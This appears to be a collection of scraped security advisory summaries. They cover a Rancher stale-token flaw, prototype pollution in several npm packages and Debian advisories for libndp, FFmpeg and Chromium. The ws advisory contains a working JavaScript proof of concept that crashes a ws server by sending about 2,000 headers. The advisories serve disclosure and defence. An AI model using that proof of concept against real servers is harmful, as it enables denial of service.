#js

### Impact A vulnerability has been identified in which Rancher does not automatically clean up a user which has been deleted from the configured authentication provider (AP). This characteristic also applies to disabled or revoked users, Rancher will not reflect these modifications which may leave the user’s tokens still usable. An AP must be enabled to be affected by this, as the built-in User Management feature is not affected by this vulnerability. This issue may lead to an adversary gaining unauthorized access, as the user’s access privileges may still be active within Rancher even though they are no longer valid on the configured AP (please consult the [MITRE ATT&CK - Technique - Valid Accounts](https://attack.mitre.org/techniques/T1078/) for further information about the associated technique of attack). It’s important to note that all configurable APs are impacted, see [Rancher Docs - Configuring Authentication - External vs. Local Authentication](https://ranchermanager.docs....

### Impact A request with a number of headers exceeding the[`server.maxHeadersCount`][] threshold could be used to crash a ws server. ### Proof of concept ```js const http = require('http'); const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0; for (let i = 0; i < chars.length; i++) { if (count === 2000) break; for (let j = 0; j < chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x'; if (++count === 2000) break; } } headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13'; const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port }); request.end(); }); ``` ### Patches The vulnerability was fixed in ws@...

akbr update 1.0.0 is vulnerable to Prototype Pollution via update/index.js.

almela obx before v.0.0.4 has a Prototype Pollution issue which allows arbitrary code execution via the obx/build/index.js:656), reduce (@almela/obx/build/index.js:470), Object.set (obx/build/index.js:269) component.

A Prototype Pollution issue in flatten-json 1.0.1 allows an attacker to execute arbitrary code via module.exports.unflattenJSON (flatten-json/index.js:42)

apphp js-object-resolver < 3.1.1 is vulnerable to Prototype Pollution via Module.setNestedProperty.

alexbinary object-deep-assign 1.0.11 is vulnerable to Prototype Pollution via the extend() method of Module.deepAssign (/src/index.js)

Debian Linux Security Advisory 5713-1 - A buffer overflow was discovered in libndp, a library implementing the IPv6 Neighbor Discovery Protocol (NDP), which could result in denial of service or potentially the execution of arbitrary code if malformed IPv6 router advertisements are processed.

Debian Linux Security Advisory 5712-1 - Several vulnerabilities have been discovered in the FFmpeg multimedia framework, which could result in denial of service or potentially the execution of arbitrary code if malformed files/streams are processed.

Debian Linux Security Advisory 5710-1 - Security issues were discovered in Chromium, which could result in the execution of arbitrary code, denial of service or information disclosure.